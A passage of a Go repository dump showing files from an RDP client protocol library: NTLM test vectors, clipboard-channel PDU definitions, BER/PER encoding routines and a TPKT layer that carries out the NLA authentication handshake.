26 | src, _ := hex.DecodeString("177d16086dd3f06fa8d594e3bad005b7")
27 | res := hex.EncodeToString(nla.RC4K(key, src))
28 | expected := "f5ab375222707a492bd5a90705d96d1d"
29 | if res != expected {
30 | t.Error(res, "not equal to", expected)
31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/pkg/grdp/protocol/nla/ntlm_test.go:
--------------------------------------------------------------------------------
1 | package nla_test
2 |
3 | //func TestNewNegotiateMessage(t *testing.T) {
4 | // ntlm := nla.NewNTLMv2("", "", "")
5 | // negoMsg := ntlm.GetNegotiateMessage()
6 | // buff := &bytes.Buffer{}
7 | // struc.Pack(buff, negoMsg)
8 | //
9 | // result := hex.EncodeToString(buff.Bytes())
10 | // expected := "4e544c4d535350000100000035820860000000000000000000000000000000000000000000000000"
11 | //
12 | // if result != expected {
13 | // t.Error(result, " not equals to", expected)
14 | // }
15 | //}
16 | //
17 | //func TestNTLMv2_ComputeResponse(t *testing.T) {
18 | // ntlm := nla.NewNTLMv2("", "", "")
19 | //
20 | // ResponseKeyNT, _ := hex.DecodeString("39e32c766260586a9036f1ceb04c3007")
21 | // ResponseKeyLM, _ := hex.DecodeString("39e32c766260586a9036f1ceb04c3007")
22 | // ServerChallenge, _ := hex.DecodeString("adcb9d1c8d4a5ed8")
23 | // ClienChallenge, _ := hex.DecodeString("1a78bed8e5d5efa7")
24 | // Timestamp, _ := hex.DecodeString("a02f44f01267d501")
25 | // ServerName, _ := hex.DecodeString("02001e00570049004e002d00460037005200410041004d004100500034004a00430001001e00570049004e002d00460037005200410041004d004100500034004a00430004001e00570049004e002d00460037005200410041004d004100500034004a00430003001e00570049004e002d00460037005200410041004d004100500034004a00430007000800a02f44f01267d50100000000")
26 | //
27 | // NtChallengeResponse, LmChallengeResponse, SessionBaseKey := ntlm.ComputeResponse(ResponseKeyNT, ResponseKeyLM, ServerChallenge, ClienChallenge, Timestamp, ServerName)
28 | //
29 | // ntChallRespExpected := "4e7316531937d2fc91e7230853844b890101000000000000a02f44f01267d5011a78bed8e5d5efa70000000002001e00570049004e002d00460037005200410041004d004100500034004a00430001001e00570049004e002d00460037005200410041004d004100500034004a00430004001e00570049004e002d00460037005200410041004d004100500034004a00430003001e00570049004e002d00460037005200410041004d004100500034004a00430007000800a02f44f01267d50100000000"
30 | // lmChallRespExpected := "d4dc6edc0c37dd70f69b5c4f05a615661a78bed8e5d5efa7"
31 | // sessBaseKeyExpected := "034009be89a0507b2bd6d28e966e1dab"
32 | //
33 | // if hex.EncodeToString(NtChallengeResponse) != ntChallRespExpected {
34 | // t.Error("NtChallengeResponse incorrect")
35 | // }
36 | //
37 | // if hex.EncodeToString(LmChallengeResponse) != lmChallRespExpected {
38 | // t.Error("LmChallengeResponse incorrect")
39 | // }
40 | //
41 | // if hex.EncodeToString(SessionBaseKey) != sessBaseKeyExpected {
42 | // t.Error("SessionBaseKey incorrect")
43 | // }
44 | //}
45 | //
46 | //func TestSIGNKEY(t *testing.T) {
47 | // exportedSessionKey, _ := hex.DecodeString("be32c3c56ea6683200a35329d67880c3")
48 | // result := hex.EncodeToString(nla.SIGNKEY(exportedSessionKey, true))
49 | // expected := "79b4f9a4113230f378a0af99f784adae"
50 | // if result != expected {
51 | // t.Error(result, "not equal to", expected)
52 | // }
53 | //}
54 |
--------------------------------------------------------------------------------
/pkg/grdp/protocol/pdu/cliprdr.go:
--------------------------------------------------------------------------------
1 | package pdu
2 |
3 | import (
4 | "bytes"
5 |
6 | "Yasso/pkg/grdp/core"
7 | "Yasso/pkg/grdp/glog"
8 | )
9 |
10 | /**
11 | * Initialization Sequence\n
12 | * Client Server\n
13 | * | |\n
14 | * |<----------------------Server Clipboard Capabilities PDU-----------------|\n
15 | * |<-----------------------------Monitor Ready PDU--------------------------|\n
16 | * |-----------------------Client Clipboard Capabilities PDU---------------->|\n
17 | * |---------------------------Temporary Directory PDU---------------------->|\n
18 | * |-------------------------------Format List PDU-------------------------->|\n
19 | * |<--------------------------Format List Response PDU----------------------|\n
20 | *
21 | */
22 |
23 | /**
24 | * Data Transfer Sequences\n
25 | * Shared Local\n
26 | * Clipboard Owner Clipboard Owner\n
27 | * | |\n
28 | * |-------------------------------------------------------------------------|\n _
29 | * |-------------------------------Format List PDU-------------------------->|\n |
30 | * |<--------------------------Format List Response PDU----------------------|\n _| Copy
31 | * Sequence
32 | * |<---------------------Lock Clipboard Data PDU (Optional)-----------------|\n
33 | * |-------------------------------------------------------------------------|\n
34 | * |-------------------------------------------------------------------------|\n _
35 | * |<--------------------------Format Data Request PDU-----------------------|\n | Paste
36 | * Sequence Palette,
37 | * |---------------------------Format Data Response PDU--------------------->|\n _| Metafile,
38 | * File List Data
39 | * |-------------------------------------------------------------------------|\n
40 | * |-------------------------------------------------------------------------|\n _
41 | * |<------------------------Format Contents Request PDU---------------------|\n | Paste
42 | * Sequence
43 | * |-------------------------Format Contents Response PDU------------------->|\n _| File
44 | * Stream Data
45 | * |<---------------------Lock Clipboard Data PDU (Optional)-----------------|\n
46 | * |-------------------------------------------------------------------------|\n
47 | *
48 | */
49 |
50 | type MsgType uint16
51 |
52 | const (
53 | CB_MONITOR_READY = 0x0001
54 | CB_FORMAT_LIST = 0x0002
55 | CB_FORMAT_LIST_RESPONSE = 0x0003
56 | CB_FORMAT_DATA_REQUEST = 0x0004
57 | CB_FORMAT_DATA_RESPONSE = 0x0005
58 | CB_TEMP_DIRECTORY = 0x0006
59 | CB_CLIP_CAPS = 0x0007
60 | CB_FILECONTENTS_REQUEST = 0x0008
61 | CB_FILECONTENTS_RESPONSE = 0x0009
62 | CB_LOCK_CLIPDATA = 0x000A
63 | CB_UNLOCK_CLIPDATA = 0x000B
64 | )
65 |
66 | type MsgFlags uint16
67 |
68 | const (
69 | CB_RESPONSE_OK = 0x0001
70 | CB_RESPONSE_FAIL = 0x0002
71 | CB_ASCII_NAMES = 0x0004
72 | )
73 |
74 | type DwFlags uint32
75 |
76 | const (
77 | FILECONTENTS_SIZE = 0x00000001
78 | FILECONTENTS_RANGE = 0x00000002
79 | )
80 |
81 | type CliprdrPDUHeader struct {
82 | MsgType uint16 `struc:"little"`
83 | MsgFlags uint16 `struc:"little"`
84 | DataLen uint32 `struc:"little"`
85 | }
86 |
87 | func NewCliprdrPDUHeader(mType, flags uint16, ln uint32) *CliprdrPDUHeader {
88 | return &CliprdrPDUHeader{
89 | MsgType: mType,
90 | MsgFlags: flags,
91 | DataLen: ln,
92 | }
93 | }
94 |
95 | /*func (c *CliprdrPDU) serialize() []byte {
96 | b := &bytes.Buffer{}
97 |
98 | return b.Bytes()
99 | }
100 | func (c *CliprdrPDU) SendCliprdrGeneralCapability() {
101 |
102 | }
103 | func (c *CliprdrPDU) RecvCliprdrCaps() {
104 |
105 | }
106 |
107 | func (c *CliprdrPDU) RecvMonitorReady() {
108 |
109 | }
110 |
111 | func (c *CliprdrPDU) SendCliprdrFileContentsRequest() {
112 |
113 | }
114 | func (c *CliprdrPDU) SendCliprdrFileContentsResponse() {
115 |
116 | }
117 | func (c *CliprdrPDU) SendCliprdrClientFormatList() {
118 |
119 | }
120 |
121 | func (c *CliprdrPDU) RecvCliprdrClientFormatListResponse() {
122 |
123 | }
124 | */
125 | type CliprdrClient struct {
126 | useLongFormatNames bool
127 | streamFileClipEnabled bool
128 | fileClipNoFilePaths bool
129 | canLockClipData bool
130 | hasHugeFileSupport bool
131 | }
132 |
133 | func process_message(s []byte) {
134 | r := bytes.NewReader(s)
135 |
136 | msgType, _ := core.ReadUint16LE(r)
137 | flag, _ := core.ReadUint16LE(r)
138 | length, _ := core.ReadUInt32LE(r)
139 |
140 | glog.Debug("cliprdr: type=%d flag=%d length=%d", msgType, flag, length)
141 |
142 | switch msgType {
143 | case CB_MONITOR_READY:
144 | //clipboard_sync(plugin->device_data);
145 | break
146 | case CB_FORMAT_LIST:
147 | //clipboard_format_list(plugin->device_data, flag,
148 | // data + 8, length);
149 | //cliprdr_send_packet(plugin, CB_FORMAT_LIST_RESPONSE,
150 | // CB_RESPONSE_OK, NULL, 0);
151 | break
152 | case CB_FORMAT_LIST_RESPONSE:
153 | //clipboard_format_list_response(plugin->device_data, flag);
154 | break
155 | case CB_FORMAT_DATA_REQUEST:
156 | //format = GET_UINT32(data, 8);
157 | //clipboard_request_data(plugin->device_data, format);
158 | break
159 | case CB_FORMAT_DATA_RESPONSE:
160 | //clipboard_handle_data(plugin->device_data, flag,
161 | //data + 8, length);
162 | //break;
163 | case CB_CLIP_CAPS:
164 | //clipboard_handle_caps(plugin->device_data, flag,
165 | //data + 8, length);
166 | break
167 | default:
168 | glog.Error("type %d not supported", msgType)
169 | break
170 | }
171 |
172 | }
173 |
174 | type CliprdrGeneralCapabilitySet struct {
175 | CapabilitySetType uint16 `struc:"little"`
176 | CapabilitySetLength uint16 `struc:"little"`
177 | Version uint32 `struc:"little"`
178 | GeneralFlags uint32 `struc:"little"`
179 | }
180 | type CliprdrCapabilitySets struct {
181 | CapabilitySetType uint16 `struc:"little"`
182 | LengthCapability uint16 `struc:"little,sizeof=CapabilityData"`
183 | CapabilityData []byte `struc:"little"`
184 | }
185 | type CliprdrCapabilitiesPDU struct {
186 | *CliprdrPDUHeader `struc:"little"`
187 | CCapabilitiesSets uint16 `struc:"little"`
188 | Pad1 uint16 `struc:"little"`
189 | CapabilitySets CliprdrGeneralCapabilitySet `struc:"little"`
190 | }
191 |
192 | type CliprdrMonitorReady struct {
193 | *CliprdrPDUHeader `struc:"little"`
194 | }
195 |
196 | type GeneralFlags uint32
197 |
198 | const (
199 | /* CLIPRDR_GENERAL_CAPABILITY.generalFlags */
200 | CB_USE_LONG_FORMAT_NAMES = 0x00000002
201 | CB_STREAM_FILECLIP_ENABLED = 0x00000004
202 | CB_FILECLIP_NO_FILE_PATHS = 0x00000008
203 | CB_CAN_LOCK_CLIPDATA = 0x00000010
204 | CB_HUGE_FILE_SUPPORT_ENABLED = 0x00000020
205 | )
206 |
207 | const (
208 | /* CLIPRDR_GENERAL_CAPABILITY.version */
209 | CB_CAPS_VERSION_1 = 0x00000001
210 | CB_CAPS_VERSION_2 = 0x00000002
211 | )
212 | const (
213 | CB_CAPSTYPE_GENERAL_LEN = 12
214 | )
215 |
216 | func CliprdrInit(context CliprdrClient) {
217 | var (
218 | generalFlags uint32
219 | generalCapabilitySet CliprdrGeneralCapabilitySet
220 | monitorReady CliprdrMonitorReady
221 | capabilities CliprdrCapabilitiesPDU
222 | )
223 |
224 | generalFlags = 0
225 | monitorReady.MsgType = CB_MONITOR_READY
226 | capabilities.MsgType = CB_CLIP_CAPS
227 |
228 | if context.useLongFormatNames {
229 | generalFlags |= CB_USE_LONG_FORMAT_NAMES
230 | }
231 |
232 | if context.streamFileClipEnabled {
233 | generalFlags |= CB_STREAM_FILECLIP_ENABLED
234 | }
235 |
236 | if context.fileClipNoFilePaths {
237 | generalFlags |= CB_FILECLIP_NO_FILE_PATHS
238 | }
239 |
240 | if context.canLockClipData {
241 | generalFlags |= CB_CAN_LOCK_CLIPDATA
242 | }
243 |
244 | if context.hasHugeFileSupport {
245 | generalFlags |= CB_HUGE_FILE_SUPPORT_ENABLED
246 | }
247 |
248 | capabilities.MsgType = CB_CLIP_CAPS
249 | capabilities.MsgFlags = 0
250 | capabilities.DataLen = 4 + CB_CAPSTYPE_GENERAL_LEN
251 | capabilities.CCapabilitiesSets = 1
252 |
253 | generalCapabilitySet.CapabilitySetType = 0x0001
254 | generalCapabilitySet.CapabilitySetLength = CB_CAPSTYPE_GENERAL_LEN
255 | generalCapabilitySet.Version = CB_CAPS_VERSION_2
256 | generalCapabilitySet.GeneralFlags = generalFlags
257 | capabilities.CapabilitySets = generalCapabilitySet
258 |
259 | /* if ((err= context->ServerCapabilities(context, &capabilities))){
260 | //glog.Error(TAG, "ServerCapabilities failed with error %" PRIu32 "!", err);
261 | return err
262 | }
263 |
264 | if ((err = context->MonitorReady(context, &monitorReady))){
265 | //glog.Error("MonitorReady failed with error %" PRIu32 "!", err);
266 | return err
267 | }*/
268 |
269 | //return err
270 | }
271 |
272 | // temp dir
273 | type CliprdrTempDirectory struct {
274 | Header *CliprdrPDUHeader
275 | SzTempDir string
276 | }
277 |
278 | // format list
279 | type CliprdrFormat struct {
280 | FormatId uint32
281 | FormatName string
282 | }
283 | type CliprdrFormatList struct {
284 | Header *CliprdrPDUHeader
285 | NumFormats uint32
286 | Formats []CliprdrFormat
287 | }
288 | type ClipboardFormats uint16
289 |
290 | const (
291 | CB_FORMAT_HTML = 0xD010
292 | CB_FORMAT_PNG = 0xD011
293 | CB_FORMAT_JPEG = 0xD012
294 | CB_FORMAT_GIF = 0xD013
295 | CB_FORMAT_TEXTURILIST = 0xD014
296 | CB_FORMAT_GNOMECOPIEDFILES = 0xD015
297 | CB_FORMAT_MATECOPIEDFILES = 0xD016
298 | )
299 |
300 | // lock or unlock
301 | type CliprdrCtrlClipboardData struct {
302 | Header *CliprdrPDUHeader
303 | ClipDataId uint32
304 | }
305 |
306 | // format data
307 | type CliprdrFormatDataRequest struct {
308 | Header *CliprdrPDUHeader
309 | RequestedFormatId uint32
310 | }
311 | type CliprdrFormatDataResponse struct {
312 | Header *CliprdrPDUHeader
313 | RequestedFormatData []byte
314 | }
315 |
316 | // file contents
317 | type CliprdrFileContentsRequest struct {
318 | Header *CliprdrPDUHeader
319 | StreamId uint32
320 | Lindex int32
321 | DwFlags uint32
322 | NPositionLow uint32
323 | NPositionHigh uint32
324 | CbRequested uint32
325 | ClipDataId uint32
326 | }
327 |
328 | func NewCliprdrFileContentsRequest() *CliprdrFileContentsRequest {
329 | return &CliprdrFileContentsRequest{
330 | Header: NewCliprdrPDUHeader(CB_FILECONTENTS_REQUEST, 0, 0),
331 | }
332 | }
333 |
334 | type CliprdrFileContentsResponse struct {
335 | Header *CliprdrPDUHeader
336 | StreamId uint32
337 | CbRequested uint32
338 | RequestedData []byte
339 | }
340 |
--------------------------------------------------------------------------------
/pkg/grdp/protocol/t125/ber/ber.go:
--------------------------------------------------------------------------------
1 | package ber
2 |
3 | import (
4 | "errors"
5 | "fmt"
6 | "io"
7 |
8 | "Yasso/pkg/grdp/core"
9 | )
10 |
11 | const (
12 | CLASS_MASK uint8 = 0xC0
13 | CLASS_UNIV = 0x00
14 | CLASS_APPL = 0x40
15 | CLASS_CTXT = 0x80
16 | CLASS_PRIV = 0xC0
17 | )
18 |
19 | const (
20 | PC_MASK uint8 = 0x20
21 | PC_PRIMITIVE = 0x00
22 | PC_CONSTRUCT = 0x20
23 | )
24 |
25 | const (
26 | TAG_MASK uint8 = 0x1F
27 | TAG_BOOLEAN = 0x01
28 | TAG_INTEGER = 0x02
29 | TAG_BIT_STRING = 0x03
30 | TAG_OCTET_STRING = 0x04
31 | TAG_OBJECT_IDENFIER = 0x06
32 | TAG_ENUMERATED = 0x0A
33 | TAG_SEQUENCE = 0x10
34 | TAG_SEQUENCE_OF = 0x10
35 | )
36 |
37 | func berPC(pc bool) uint8 {
38 | if pc {
39 | return PC_CONSTRUCT
40 | }
41 | return PC_PRIMITIVE
42 | }
43 |
44 | func ReadEnumerated(r io.Reader) (uint8, error) {
45 | if !ReadUniversalTag(TAG_ENUMERATED, false, r) {
46 | return 0, errors.New("invalid ber tag")
47 | }
48 | length, err := ReadLength(r)
49 | if err != nil {
50 | return 0, err
51 | }
52 | if length != 1 {
53 | return 0, errors.New(fmt.Sprintf("enumerate size is wrong, get %v, expect 1", length))
54 | }
55 | return core.ReadUInt8(r)
56 | }
57 |
58 | func ReadUniversalTag(tag uint8, pc bool, r io.Reader) bool {
59 | bb, _ := core.ReadUInt8(r)
60 | return bb == (CLASS_UNIV|berPC(pc))|(TAG_MASK&tag)
61 | }
62 |
63 | func WriteUniversalTag(tag uint8, pc bool, w io.Writer) {
64 | core.WriteUInt8((CLASS_UNIV|berPC(pc))|(TAG_MASK&tag), w)
65 | }
66 |
67 | func ReadLength(r io.Reader) (int, error) {
68 | ret := 0
69 | size, _ := core.ReadUInt8(r)
70 | if size&0x80 > 0 {
71 | size = size &^ 0x80
72 | if size == 1 {
73 | r, err := core.ReadUInt8(r)
74 | if err != nil {
75 | return 0, err
76 | }
77 | ret = int(r)
78 | } else if size == 2 {
79 | r, err := core.ReadUint16BE(r)
80 | if err != nil {
81 | return 0, err
82 | }
83 | ret = int(r)
84 | } else {
85 | return 0, errors.New("BER length may be 1 or 2")
86 | }
87 | } else {
88 | ret = int(size)
89 | }
90 | return ret, nil
91 | }
92 |
93 | func WriteLength(size int, w io.Writer) {
94 | if size > 0x7f {
95 | core.WriteUInt8(0x82, w)
96 | core.WriteUInt16BE(uint16(size), w)
97 | } else {
98 | core.WriteUInt8(uint8(size), w)
99 | }
100 | }
101 |
102 | func ReadInteger(r io.Reader) (int, error) {
103 | if !ReadUniversalTag(TAG_INTEGER, false, r) {
104 | return 0, errors.New("Bad integer tag")
105 | }
106 | size, _ := ReadLength(r)
107 | switch size {
108 | case 1:
109 | num, _ := core.ReadUInt8(r)
110 | return int(num), nil
111 | case 2:
112 | num, _ := core.ReadUint16BE(r)
113 | return int(num), nil
114 | case 3:
115 | integer1, _ := core.ReadUInt8(r)
116 | integer2, _ := core.ReadUint16BE(r)
117 | return int(integer2) + int(integer1<<16), nil
118 | case 4:
119 | num, _ := core.ReadUInt32BE(r)
120 | return int(num), nil
121 | default:
122 | return 0, errors.New("wrong size")
123 | }
124 | }
125 |
126 | func WriteInteger(n int, w io.Writer) {
127 | WriteUniversalTag(TAG_INTEGER, false, w)
128 | if n <= 0xff {
129 | WriteLength(1, w)
130 | core.WriteUInt8(uint8(n), w)
131 | } else if n <= 0xffff {
132 | WriteLength(2, w)
133 | core.WriteUInt16BE(uint16(n), w)
134 | } else {
135 | WriteLength(4, w)
136 | core.WriteUInt32BE(uint32(n), w)
137 | }
138 | }
139 |
140 | func WriteOctetstring(str string, w io.Writer) {
141 | WriteUniversalTag(TAG_OCTET_STRING, false, w)
142 | WriteLength(len(str), w)
143 | core.WriteBytes([]byte(str), w)
144 | }
145 |
146 | func WriteBoolean(b bool, w io.Writer) {
147 | bb := uint8(0)
148 | if b {
149 | bb = uint8(0xff)
150 | }
151 | WriteUniversalTag(TAG_BOOLEAN, false, w)
152 | WriteLength(1, w)
153 | core.WriteUInt8(bb, w)
154 | }
155 |
156 | func ReadApplicationTag(tag uint8, r io.Reader) (int, error) {
157 | bb, _ := core.ReadUInt8(r)
158 | if tag > 30 {
159 | if bb != (CLASS_APPL|PC_CONSTRUCT)|TAG_MASK {
160 | return 0, errors.New("ReadApplicationTag invalid data")
161 | }
162 | bb, _ := core.ReadUInt8(r)
163 | if bb != tag {
164 | return 0, errors.New("ReadApplicationTag bad tag")
165 | }
166 | } else {
167 | if bb != (CLASS_APPL|PC_CONSTRUCT)|(TAG_MASK&tag) {
168 | return 0, errors.New("ReadApplicationTag invalid data2")
169 | }
170 | }
171 | return ReadLength(r)
172 | }
173 |
174 | func WriteApplicationTag(tag uint8, size int, w io.Writer) {
175 | if tag > 30 {
176 | core.WriteUInt8((CLASS_APPL|PC_CONSTRUCT)|TAG_MASK, w)
177 | core.WriteUInt8(tag, w)
178 | WriteLength(size, w)
179 | } else {
180 | core.WriteUInt8((CLASS_APPL|PC_CONSTRUCT)|(TAG_MASK&tag), w)
181 | WriteLength(size, w)
182 | }
183 | }
184 |
185 | func WriteEncodedDomainParams(data []byte, w io.Writer) {
186 | WriteUniversalTag(TAG_SEQUENCE, true, w)
187 | WriteLength(len(data), w)
188 | core.WriteBytes(data, w)
189 | }
190 |
--------------------------------------------------------------------------------
/pkg/grdp/protocol/t125/per/per.go:
--------------------------------------------------------------------------------
1 | package per
2 |
3 | import (
4 | "bytes"
5 | "io"
6 |
7 | "Yasso/pkg/grdp/glog"
8 |
9 | "Yasso/pkg/grdp/core"
10 | )
11 |
12 | func ReadEnumerates(r io.Reader) (uint8, error) {
13 | return core.ReadUInt8(r)
14 | }
15 |
16 | func WriteInteger(n int, w io.Writer) {
17 | if n <= 0xff {
18 | WriteLength(1, w)
19 | core.WriteUInt8(uint8(n), w)
20 | } else if n <= 0xffff {
21 | WriteLength(2, w)
22 | core.WriteUInt16BE(uint16(n), w)
23 | } else {
24 | WriteLength(4, w)
25 | core.WriteUInt32BE(uint32(n), w)
26 | }
27 | }
28 |
29 | func ReadInteger16(r io.Reader) (uint16, error) {
30 | return core.ReadUint16BE(r)
31 | }
32 |
33 | func WriteInteger16(value uint16, w io.Writer) {
34 | core.WriteUInt16BE(value, w)
35 | }
36 |
37 | /**
38 | * @param choice {integer}
39 | * @returns {type.UInt8} choice per encoded
40 | */
41 | func WriteChoice(choice uint8, w io.Writer) {
42 | core.WriteUInt8(choice, w)
43 | }
44 |
45 | /**
46 | * @param value {raw} value to convert to per format
47 | * @returns type objects per encoding value
48 | */
49 | func WriteLength(value int, w io.Writer) {
50 | if value > 0x7f {
51 | core.WriteUInt16BE(uint16(value|0x8000), w)
52 | } else {
53 | core.WriteUInt8(uint8(value), w)
54 | }
55 | }
56 |
57 | func ReadLength(r io.Reader) (uint16, error) {
58 | b, err := core.ReadUInt8(r)
59 | if err != nil {
60 | return 0, nil
61 | }
62 | var size uint16
63 | if b&0x80 > 0 {
64 | b = b &^ 0x80
65 | size = uint16(b) << 8
66 | left, _ := core.ReadUInt8(r)
67 | size += uint16(left)
68 | } else {
69 | size = uint16(b)
70 | }
71 | return size, nil
72 | }
73 |
74 | /**
75 | * @param oid {array} oid to write
76 | * @returns {type.Component} per encoded object identifier
77 | */
78 | func WriteObjectIdentifier(oid []byte, w io.Writer) {
79 | core.WriteUInt8(5, w)
80 | core.WriteByte((oid[0]<<4)&(oid[1]&0x0f), w)
81 | core.WriteByte(oid[2], w)
82 | core.WriteByte(oid[3], w)
83 | core.WriteByte(oid[4], w)
84 | core.WriteByte(oid[5], w)
85 | }
86 |
87 | /**
88 | * @param selection {integer}
89 | * @returns {type.UInt8} per encoded selection
90 | */
91 | func WriteSelection(selection uint8, w io.Writer) {
92 | core.WriteUInt8(selection, w)
93 | }
94 |
95 | func WriteNumericString(s string, minValue int, w io.Writer) {
96 | length := len(s)
97 | mLength := minValue
98 | if length >= minValue {
99 | mLength = length - minValue
100 | }
101 | buff := &bytes.Buffer{}
102 | for i := 0; i < length; i += 2 {
103 | c1 := int(s[i])
104 | c2 := 0x30
105 | if i+1 < length {
106 | c2 = int(s[i+1])
107 | }
108 | c1 = (c1 - 0x30) % 10
109 | c2 = (c2 - 0x30) % 10
110 | core.WriteUInt8(uint8((c1<<4)|c2), buff)
111 | }
112 | WriteLength(mLength, w)
113 | w.Write(buff.Bytes())
114 | }
115 |
116 | func WritePadding(length int, w io.Writer) {
117 | b := make([]byte, length)
118 | w.Write(b)
119 | }
120 |
121 | func WriteNumberOfSet(n int, w io.Writer) {
122 | core.WriteUInt8(uint8(n), w)
123 | }
124 |
125 | /**
126 | * @param oStr {String}
127 | * @param minValue {integer} default 0
128 | * @returns {type.Component} per encoded octet stream
129 | */
130 | func WriteOctetStream(oStr string, minValue int, w io.Writer) {
131 | length := len(oStr)
132 | mlength := minValue
133 |
134 | if length-minValue >= 0 {
135 | mlength = length - minValue
136 | }
137 | WriteLength(mlength, w)
138 | w.Write([]byte(oStr)[:length])
139 | }
140 |
141 | func ReadChoice(r io.Reader) uint8 {
142 | choice, _ := core.ReadUInt8(r)
143 | return choice
144 | }
145 | func ReadNumberOfSet(r io.Reader) uint8 {
146 | choice, _ := core.ReadUInt8(r)
147 | return choice
148 | }
149 | func ReadInteger(r io.Reader) uint32 {
150 | size, _ := ReadLength(r)
151 | switch size {
152 | case 1:
153 | ret, _ := core.ReadUInt8(r)
154 | return uint32(ret)
155 | case 2:
156 | ret, _ := core.ReadUint16BE(r)
157 | return uint32(ret)
158 | case 4:
159 | ret, _ := core.ReadUInt32BE(r)
160 | return ret
161 | default:
162 | glog.Info("ReadInteger")
163 | }
164 | return 0
165 | }
166 |
167 | func ReadObjectIdentifier(r io.Reader, oid []byte) bool {
168 | size, _ := ReadLength(r)
169 | if size != 5 {
170 | return false
171 | }
172 |
173 | a_oid := []byte{0, 0, 0, 0, 0, 0}
174 | t12, _ := core.ReadByte(r)
175 | a_oid[0] = t12 >> 4
176 | a_oid[1] = t12 & 0x0f
177 | a_oid[2], _ = core.ReadByte(r)
178 | a_oid[3], _ = core.ReadByte(r)
179 | a_oid[4], _ = core.ReadByte(r)
180 | a_oid[5], _ = core.ReadByte(r)
181 |
182 | for i, _ := range oid {
183 | if oid[i] != a_oid[i] {
184 | return false
185 | }
186 | }
187 | return true
188 | }
189 | func ReadOctetStream(r io.Reader, s string, min int) bool {
190 | ln, _ := ReadLength(r)
191 | size := int(ln) + min
192 | if size != len(s) {
193 | return false
194 | }
195 | for i := 0; i < size; i++ {
196 | b, _ := core.ReadByte(r)
197 | if b != s[i] {
198 | return false
199 | }
200 | }
201 |
202 | return true
203 | }
204 |
--------------------------------------------------------------------------------
/pkg/grdp/protocol/tpkt/tpkt.go:
--------------------------------------------------------------------------------
1 | package tpkt
2 |
3 | import (
4 | "bytes"
5 | "encoding/hex"
6 | "fmt"
7 |
8 | "Yasso/pkg/grdp/core"
9 | "Yasso/pkg/grdp/emission"
10 | "Yasso/pkg/grdp/glog"
11 | "Yasso/pkg/grdp/protocol/nla"
12 | )
13 |
14 | // take idea from https://github.com/Madnikulin50/gordp
15 |
16 | /**
17 | * Type of tpkt packet
18 | * Fastpath is use to shortcut RDP stack
19 | * @see http://msdn.microsoft.com/en-us/library/cc240621.aspx
20 | * @see http://msdn.microsoft.com/en-us/library/cc240589.aspx
21 | */
22 | const (
23 | FASTPATH_ACTION_FASTPATH = 0x0
24 | FASTPATH_ACTION_X224 = 0x3
25 | )
26 |
27 | /**
28 | * TPKT layer of rdp stack
29 | */
30 | type TPKT struct {
31 | emission.Emitter
32 | Conn *core.SocketLayer
33 | ntlm *nla.NTLMv2
34 | secFlag byte
35 | lastShortLength int
36 | fastPathListener core.FastPathListener
37 | ntlmSec *nla.NTLMv2Security
38 | }
39 |
40 | func New(s *core.SocketLayer, ntlm *nla.NTLMv2) *TPKT {
41 | t := &TPKT{
42 | Emitter: *emission.NewEmitter(),
43 | Conn: s,
44 | secFlag: 0,
45 | ntlm: ntlm}
46 | core.StartReadBytes(2, s, t.recvHeader)
47 | return t
48 | }
49 |
50 | func (t *TPKT) StartTLS() error {
51 | return t.Conn.StartTLS()
52 | }
53 |
54 | func (t *TPKT) StartNLA() error {
55 | err := t.StartTLS()
56 | if err != nil {
57 | glog.Info("start tls failed", err)
58 | return err
59 | }
60 | req := nla.EncodeDERTRequest([]nla.Message{t.ntlm.GetNegotiateMessage()}, nil, nil)
61 | _, err = t.Conn.Write(req)
62 | if err != nil {
63 | glog.Info("send NegotiateMessage", err)
64 | return err
65 | }
66 |
67 | resp := make([]byte, 1024)
68 | n, err := t.Conn.Read(resp)
69 | if err != nil {
70 | return fmt.Errorf("read %s", err)
71 | } else {
72 | glog.Debug("StartNLA Read success")
73 | }
74 | return t.recvChallenge(resp[:n])
75 | }
76 |
77 | func (t *TPKT) recvChallenge(data []byte) error {
78 | glog.Debug("recvChallenge", hex.EncodeToString(data))
79 | tsreq, err := nla.DecodeDERTRequest(data)
80 | if err != nil {
81 | glog.Info("DecodeDERTRequest", err)
82 | return err
83 | }
84 | glog.Debugf("tsreq:%+v", tsreq)
85 | // get pubkey
86 | pubkey, err := t.Conn.TlsPubKey()
87 | glog.Debugf("pubkey=%+v", pubkey)
88 |
89 | authMsg, ntlmSec := t.ntlm.GetAuthenticateMessage(tsreq.NegoTokens[0].Data)
90 | t.ntlmSec = ntlmSec
91 |
92 | encryptPubkey := ntlmSec.GssEncrypt(pubkey)
93 | req := nla.EncodeDERTRequest([]nla.Message{authMsg}, nil, encryptPubkey)
94 | _, err = t.Conn.Write(req)
95 | if err != nil {
96 | glog.Info("send AuthenticateMessage", err)
97 | return err
98 | }
99 | resp := make([]byte, 1024)
100 | n, err := t.Conn.Read(resp)
101 | if err != nil {
102 | glog.Error("Read:", err)
103 | return fmt.Errorf("read %s", err)
104 | } else {
105 | glog.Debug("recvChallenge Read success")
106 | }
107 | return t.recvPubKeyInc(resp[:n])
108 | }
109 |
110 | func (t *TPKT) recvPubKeyInc(data []byte) error {
111 | glog.Debug("recvPubKeyInc", hex.EncodeToString(data))
112 | tsreq, err := nla.DecodeDERTRequest(data)
113 | if err != nil {
114 | glog.Info("DecodeDERTRequest", err)
115 | return err
116 | }
117 | glog.Debug("PubKeyAuth:", tsreq.PubKeyAuth)
118 | //ignore
119 | //pubkey := t.ntlmSec.GssDecrypt([]byte(tsreq.PubKeyAuth))
120 | domain, username, password := t.ntlm.GetEncodedCredentials()
121 | credentials := nla.EncodeDERTCredentials(domain, username, password)
122 | authInfo := t.ntlmSec.GssEncrypt(credentials)
123 | req := nla.EncodeDERTRequest(nil, authInfo, nil)
124 | _, err = t.Conn.Write(req)
125 | if err != nil {
126 | glog.Info("send AuthenticateMessage", err)
127 | return err
128 | }
129 |
130 | return nil
131 | }
132 |
133 | func (t *TPKT) Read(b []byte) (n int, err error) {
134 | return t.Conn.Read(b)
135 | }
136 |
137 | func (t *TPKT) Write(data []byte) (n int, err error) {
138 | buff := &bytes.Buffer{}
139 | core.WriteUInt8(FASTPATH_ACTION_X224, buff)
140 | core.WriteUInt8(0, buff)
141 | core.WriteUInt16BE(uint16(len(data)+4), buff)
142 | buff.Write(data)
143 | glog.Debug("tpkt Write", hex.EncodeToString(buff.Bytes()))
144 | return t.Conn.Write(buff.Bytes())
145 | }
146 |
147 | func (t *TPKT) Close() error {
148 | return t.Conn.Close()
149 | }
150 |
